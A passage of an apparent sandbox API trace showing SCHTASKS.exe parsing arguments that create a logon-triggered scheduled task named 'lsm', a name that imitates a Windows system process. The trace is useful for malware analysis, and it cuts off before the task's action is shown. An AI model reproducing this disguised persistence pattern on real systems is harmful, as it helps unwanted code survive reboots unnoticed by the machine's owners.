_Buf2=0xff901b08, _Size=0x7) returned 0 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.699] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x200) returned 0x1cd3a0 [0083.699] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1cd3a0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0083.699] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0083.699] GetProcessHeap () returned 0x1b0000 [0083.700] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x30) returned 0x1c7b60 [0083.700] _vsnwprintf (in: _Buffer=0x1cc0f0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x11f0a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0083.700] GetProcessHeap () returned 0x1b0000 [0083.700] GetProcessHeap () returned 0x1b0000 [0083.700] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc2c0) returned 1 [0083.700] GetProcessHeap () returned 0x1b0000 [0083.700] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc2c0) returned 0x74e [0083.701] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc2c0 | out: hHeap=0x1b0000) returned 1 [0083.701] SetLastError (dwErrCode=0x0) [0083.701] GetThreadLocale () returned 0x409 [0083.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.701] lstrlenW (lpString="?") returned 1 [0083.701] GetThreadLocale () returned 0x409 [0083.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.701] lstrlenW (lpString="create") returned 6 [0083.701] GetThreadLocale () returned 0x409 [0083.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.701] lstrlenW (lpString="delete") returned 6 [0083.701] GetThreadLocale () returned 0x409 [0083.701] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.701] lstrlenW (lpString="query") returned 5 [0083.702] GetThreadLocale () returned 0x409 [0083.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.702] lstrlenW (lpString="change") returned 6 [0083.702] GetThreadLocale () returned 0x409 [0083.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.702] lstrlenW (lpString="run") returned 3 [0083.702] GetThreadLocale () returned 0x409 [0083.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.702] lstrlenW (lpString="end") returned 3 [0083.702] GetThreadLocale () returned 0x409 [0083.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.702] lstrlenW (lpString="showsid") returned 7 [0083.702] GetThreadLocale () returned 0x409 [0083.702] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0083.702] SetLastError (dwErrCode=0x0) [0083.702] SetLastError (dwErrCode=0x0) [0083.702] lstrlenW (lpString="/create") returned 7 [0083.702] lstrlenW (lpString="-/") returned 2 [0083.702] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.702] lstrlenW (lpString="?") returned 1 [0083.702] lstrlenW (lpString="?") returned 1 [0083.702] GetProcessHeap () returned 0x1b0000 [0083.702] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cc1a0 [0083.702] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.703] GetProcessHeap () returned 0x1b0000 [0083.703] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0xa) returned 0x1cc2c0 [0083.703] lstrlenW (lpString="create") returned 6 [0083.703] GetProcessHeap () returned 0x1b0000 [0083.703] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x18) returned 0x1cc2e0 [0083.703] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.703] GetProcessHeap () returned 0x1b0000 [0083.703] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x14) returned 0x1cc300 [0083.703] _vsnwprintf (in: _Buffer=0x1cc2c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|?|") returned 3 [0083.703] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|create|") returned 8 [0083.703] lstrlenW (lpString="|?|") returned 3 [0083.703] lstrlenW (lpString="|create|") returned 8 [0083.703] SetLastError (dwErrCode=0x490) [0083.703] lstrlenW (lpString="create") returned 6 [0083.703] lstrlenW (lpString="create") returned 6 [0083.703] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.703] GetProcessHeap () returned 0x1b0000 [0083.703] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc2c0) returned 1 [0083.703] GetProcessHeap () returned 0x1b0000 [0083.703] RtlReAllocateHeap (Heap=0x1b0000, Flags=0xc, Ptr=0x1cc2c0, Size=0x14) returned 0x1cc320 [0083.703] lstrlenW (lpString="create") returned 6 [0083.703] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.703] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|create|") returned 8 [0083.703] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|create|") returned 8 [0083.704] lstrlenW (lpString="|create|") returned 8 [0083.704] lstrlenW (lpString="|create|") returned 8 [0083.704] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0083.704] SetLastError (dwErrCode=0x0) [0083.704] SetLastError (dwErrCode=0x0) [0083.704] SetLastError (dwErrCode=0x0) [0083.704] lstrlenW (lpString="/tn") returned 3 [0083.704] lstrlenW (lpString="-/") returned 2 [0083.704] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.704] lstrlenW (lpString="?") returned 1 [0083.704] lstrlenW (lpString="?") returned 1 [0083.704] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.704] lstrlenW (lpString="tn") returned 2 [0083.704] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.704] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|?|") returned 3 [0083.704] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tn|") returned 4 [0083.704] lstrlenW (lpString="|?|") returned 3 [0083.704] lstrlenW (lpString="|tn|") returned 4 [0083.704] SetLastError (dwErrCode=0x490) [0083.704] lstrlenW (lpString="create") returned 6 [0083.704] lstrlenW (lpString="create") returned 6 [0083.704] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.704] lstrlenW (lpString="tn") returned 2 [0083.704] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.705] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|create|") returned 8 [0083.705] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tn|") returned 4 [0083.705] lstrlenW (lpString="|create|") returned 8 [0083.705] lstrlenW (lpString="|tn|") returned 4 [0083.705] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0083.705] SetLastError (dwErrCode=0x490) [0083.705] lstrlenW (lpString="delete") returned 6 [0083.705] lstrlenW (lpString="delete") returned 6 [0083.705] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.705] lstrlenW (lpString="tn") returned 2 [0083.705] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.705] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|delete|") returned 8 [0083.705] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tn|") returned 4 [0083.705] lstrlenW (lpString="|delete|") returned 8 [0083.705] lstrlenW (lpString="|tn|") returned 4 [0083.705] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0083.705] SetLastError (dwErrCode=0x490) [0083.705] lstrlenW (lpString="query") returned 5 [0083.705] lstrlenW (lpString="query") returned 5 [0083.705] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.705] lstrlenW (lpString="tn") returned 2 [0083.705] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.705] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|query|") returned 7 [0083.705] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tn|") returned 4 [0083.706] lstrlenW (lpString="|query|") returned 7 [0083.706] lstrlenW (lpString="|tn|") returned 4 [0083.706] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0083.706] SetLastError (dwErrCode=0x490) [0083.706] lstrlenW (lpString="change") returned 6 [0083.706] lstrlenW (lpString="change") returned 6 [0083.706] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.706] lstrlenW (lpString="tn") returned 2 [0083.706] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.706] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|change|") returned 8 [0083.706] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tn|") returned 4 [0083.706] lstrlenW (lpString="|change|") returned 8 [0083.706] lstrlenW (lpString="|tn|") returned 4 [0083.706] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0083.706] SetLastError (dwErrCode=0x490) [0083.706] lstrlenW (lpString="run") returned 3 [0083.706] lstrlenW (lpString="run") returned 3 [0083.706] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.706] lstrlenW (lpString="tn") returned 2 [0083.706] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.706] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|run|") returned 5 [0083.706] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tn|") returned 4 [0083.706] lstrlenW (lpString="|run|") returned 5 [0083.706] lstrlenW (lpString="|tn|") returned 4 [0083.707] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0083.707] SetLastError (dwErrCode=0x490) [0083.707] lstrlenW (lpString="end") returned 3 [0083.707] lstrlenW (lpString="end") returned 3 [0083.707] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.707] lstrlenW (lpString="tn") returned 2 [0083.707] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.707] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|end|") returned 5 [0083.707] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tn|") returned 4 [0083.707] lstrlenW (lpString="|end|") returned 5 [0083.707] lstrlenW (lpString="|tn|") returned 4 [0083.707] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0083.707] SetLastError (dwErrCode=0x490) [0083.707] lstrlenW (lpString="showsid") returned 7 [0083.707] lstrlenW (lpString="showsid") returned 7 [0083.707] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.707] GetProcessHeap () returned 0x1b0000 [0083.707] HeapValidate (hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc320) returned 1 [0083.707] GetProcessHeap () returned 0x1b0000 [0083.707] RtlReAllocateHeap (Heap=0x1b0000, Flags=0xc, Ptr=0x1cc320, Size=0x16) returned 0x1cc320 [0083.708] lstrlenW (lpString="tn") returned 2 [0083.708] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.708] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|showsid|") returned 9 [0083.708] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tn|") returned 4 [0083.708] lstrlenW (lpString="|showsid|") returned 9 [0083.708] lstrlenW (lpString="|tn|") returned 4 [0083.708] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0083.708] SetLastError (dwErrCode=0x490) [0083.708] SetLastError (dwErrCode=0x490) [0083.708] SetLastError (dwErrCode=0x0) [0083.708] lstrlenW (lpString="/tn") returned 3 [0083.708] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0083.708] SetLastError (dwErrCode=0x490) [0083.708] SetLastError (dwErrCode=0x0) [0083.708] lstrlenW (lpString="/tn") returned 3 [0083.708] GetProcessHeap () returned 0x1b0000 [0083.708] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc2c0 [0083.708] GetProcessHeap () returned 0x1b0000 [0083.708] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1cccf0 [0083.708] SetLastError (dwErrCode=0x0) [0083.708] SetLastError (dwErrCode=0x0) [0083.708] lstrlenW (lpString="lsm") returned 3 [0083.708] lstrlenW (lpString="-/") returned 2 [0083.708] StrChrIW (lpStart="-/", wMatch=0x6c) returned 0x0 [0083.708] SetLastError (dwErrCode=0x490) [0083.708] SetLastError (dwErrCode=0x490) [0083.708] SetLastError (dwErrCode=0x0) [0083.709] lstrlenW (lpString="lsm") returned 3 [0083.709] StrChrIW (lpStart="lsm", wMatch=0x3a) returned 0x0 [0083.709] SetLastError (dwErrCode=0x490) [0083.709] SetLastError (dwErrCode=0x0) [0083.709] lstrlenW (lpString="lsm") returned 3 [0083.709] GetProcessHeap () returned 0x1b0000 [0083.709] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc350 [0083.709] GetProcessHeap () returned 0x1b0000 [0083.709] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd20 [0083.709] SetLastError (dwErrCode=0x0) [0083.709] SetLastError (dwErrCode=0x0) [0083.709] lstrlenW (lpString="/sc") returned 3 [0083.709] lstrlenW (lpString="-/") returned 2 [0083.709] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.709] lstrlenW (lpString="?") returned 1 [0083.709] lstrlenW (lpString="?") returned 1 [0083.709] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.709] lstrlenW (lpString="sc") returned 2 [0083.709] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.709] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|?|") returned 3 [0083.709] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|sc|") returned 4 [0083.709] lstrlenW (lpString="|?|") returned 3 [0083.709] lstrlenW (lpString="|sc|") returned 4 [0083.709] SetLastError (dwErrCode=0x490) [0083.709] lstrlenW (lpString="create") returned 6 [0083.709] lstrlenW (lpString="create") returned 6 [0083.710] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.710] lstrlenW (lpString="sc") returned 2 [0083.710] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.710] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|create|") returned 8 [0083.710] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|sc|") returned 4 [0083.710] lstrlenW (lpString="|create|") returned 8 [0083.710] lstrlenW (lpString="|sc|") returned 4 [0083.710] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0083.710] SetLastError (dwErrCode=0x490) [0083.710] lstrlenW (lpString="delete") returned 6 [0083.710] lstrlenW (lpString="delete") returned 6 [0083.710] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.710] lstrlenW (lpString="sc") returned 2 [0083.710] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.710] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|delete|") returned 8 [0083.710] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|sc|") returned 4 [0083.710] lstrlenW (lpString="|delete|") returned 8 [0083.710] lstrlenW (lpString="|sc|") returned 4 [0083.710] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0083.710] SetLastError (dwErrCode=0x490) [0083.710] lstrlenW (lpString="query") returned 5 [0083.710] lstrlenW (lpString="query") returned 5 [0083.710] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.711] lstrlenW (lpString="sc") returned 2 [0083.711] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.711] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|query|") returned 7 [0083.711] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|sc|") returned 4 [0083.711] lstrlenW (lpString="|query|") returned 7 [0083.711] lstrlenW (lpString="|sc|") returned 4 [0083.711] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0083.711] SetLastError (dwErrCode=0x490) [0083.711] lstrlenW (lpString="change") returned 6 [0083.711] lstrlenW (lpString="change") returned 6 [0083.711] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.711] lstrlenW (lpString="sc") returned 2 [0083.711] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.711] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|change|") returned 8 [0083.711] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|sc|") returned 4 [0083.711] lstrlenW (lpString="|change|") returned 8 [0083.711] lstrlenW (lpString="|sc|") returned 4 [0083.711] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0083.711] SetLastError (dwErrCode=0x490) [0083.711] lstrlenW (lpString="run") returned 3 [0083.711] lstrlenW (lpString="run") returned 3 [0083.711] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.711] lstrlenW (lpString="sc") returned 2 [0083.711] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.712] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|run|") returned 5 [0083.712] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|sc|") returned 4 [0083.712] lstrlenW (lpString="|run|") returned 5 [0083.712] lstrlenW (lpString="|sc|") returned 4 [0083.712] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0083.712] SetLastError (dwErrCode=0x490) [0083.712] lstrlenW (lpString="end") returned 3 [0083.712] lstrlenW (lpString="end") returned 3 [0083.712] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.712] lstrlenW (lpString="sc") returned 2 [0083.712] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.712] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x6, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|end|") returned 5 [0083.712] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|sc|") returned 4 [0083.712] lstrlenW (lpString="|end|") returned 5 [0083.712] lstrlenW (lpString="|sc|") returned 4 [0083.712] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0083.712] SetLastError (dwErrCode=0x490) [0083.712] lstrlenW (lpString="showsid") returned 7 [0083.712] lstrlenW (lpString="showsid") returned 7 [0083.712] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.712] lstrlenW (lpString="sc") returned 2 [0083.712] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.712] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0xa, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|showsid|") returned 9 [0083.712] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|sc|") returned 4 [0083.713] lstrlenW (lpString="|showsid|") returned 9 [0083.713] lstrlenW (lpString="|sc|") returned 4 [0083.713] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0083.713] SetLastError (dwErrCode=0x490) [0083.713] SetLastError (dwErrCode=0x490) [0083.713] SetLastError (dwErrCode=0x0) [0083.713] lstrlenW (lpString="/sc") returned 3 [0083.713] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0083.713] SetLastError (dwErrCode=0x490) [0083.713] SetLastError (dwErrCode=0x0) [0083.713] lstrlenW (lpString="/sc") returned 3 [0083.713] GetProcessHeap () returned 0x1b0000 [0083.713] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x8) returned 0x1cc370 [0083.713] GetProcessHeap () returned 0x1b0000 [0083.713] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd50 [0083.713] SetLastError (dwErrCode=0x0) [0083.713] SetLastError (dwErrCode=0x0) [0083.713] lstrlenW (lpString="ONLOGON") returned 7 [0083.713] lstrlenW (lpString="-/") returned 2 [0083.713] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0083.713] SetLastError (dwErrCode=0x490) [0083.713] SetLastError (dwErrCode=0x490) [0083.713] SetLastError (dwErrCode=0x0) [0083.713] lstrlenW (lpString="ONLOGON") returned 7 [0083.713] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0083.713] SetLastError (dwErrCode=0x490) [0083.713] SetLastError (dwErrCode=0x0) [0083.713] lstrlenW (lpString="ONLOGON") returned 7 [0083.713] GetProcessHeap () returned 0x1b0000 [0083.714] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x10) returned 0x1cc390 [0083.714] GetProcessHeap () returned 0x1b0000 [0083.714] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0xc, Size=0x20) returned 0x1ccd80 [0083.714] SetLastError (dwErrCode=0x0) [0083.714] SetLastError (dwErrCode=0x0) [0083.714] lstrlenW (lpString="/tr") returned 3 [0083.714] lstrlenW (lpString="-/") returned 2 [0083.714] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0083.714] lstrlenW (lpString="?") returned 1 [0083.714] lstrlenW (lpString="?") returned 1 [0083.714] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.714] lstrlenW (lpString="tr") returned 2 [0083.714] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.714] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|?|") returned 3 [0083.714] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tr|") returned 4 [0083.714] lstrlenW (lpString="|?|") returned 3 [0083.714] lstrlenW (lpString="|tr|") returned 4 [0083.714] SetLastError (dwErrCode=0x490) [0083.714] lstrlenW (lpString="create") returned 6 [0083.714] lstrlenW (lpString="create") returned 6 [0083.714] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.714] lstrlenW (lpString="tr") returned 2 [0083.714] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.714] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|create|") returned 8 [0083.715] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tr|") returned 4 [0083.715] lstrlenW (lpString="|create|") returned 8 [0083.715] lstrlenW (lpString="|tr|") returned 4 [0083.715] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0083.715] SetLastError (dwErrCode=0x490) [0083.715] lstrlenW (lpString="delete") returned 6 [0083.715] lstrlenW (lpString="delete") returned 6 [0083.715] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.715] lstrlenW (lpString="tr") returned 2 [0083.715] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.715] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|delete|") returned 8 [0083.715] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tr|") returned 4 [0083.715] lstrlenW (lpString="|delete|") returned 8 [0083.715] lstrlenW (lpString="|tr|") returned 4 [0083.715] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0083.715] SetLastError (dwErrCode=0x490) [0083.715] lstrlenW (lpString="query") returned 5 [0083.715] lstrlenW (lpString="query") returned 5 [0083.715] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.715] lstrlenW (lpString="tr") returned 2 [0083.715] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.715] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x8, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|query|") returned 7 [0083.715] _vsnwprintf (in: _Buffer=0x1cc300, _BufferCount=0x5, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|tr|") returned 4 [0083.715] lstrlenW (lpString="|query|") returned 7 [0083.716] lstrlenW (lpString="|tr|") returned 4 [0083.716] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0083.716] SetLastError (dwErrCode=0x490) [0083.716] lstrlenW (lpString="change") returned 6 [0083.716] lstrlenW (lpString="change") returned 6 [0083.716] _memicmp (_Buf1=0x1cc1a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.716] lstrlenW (lpString="tr") returned 2 [0083.716] _memicmp (_Buf1=0x1cc2e0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0083.716] _vsnwprintf (in: _Buffer=0x1cc320, _BufferCount=0x9, _Format="|%s|", _ArgList=0x11f0b8 | out: _Buffer="|change|") returned 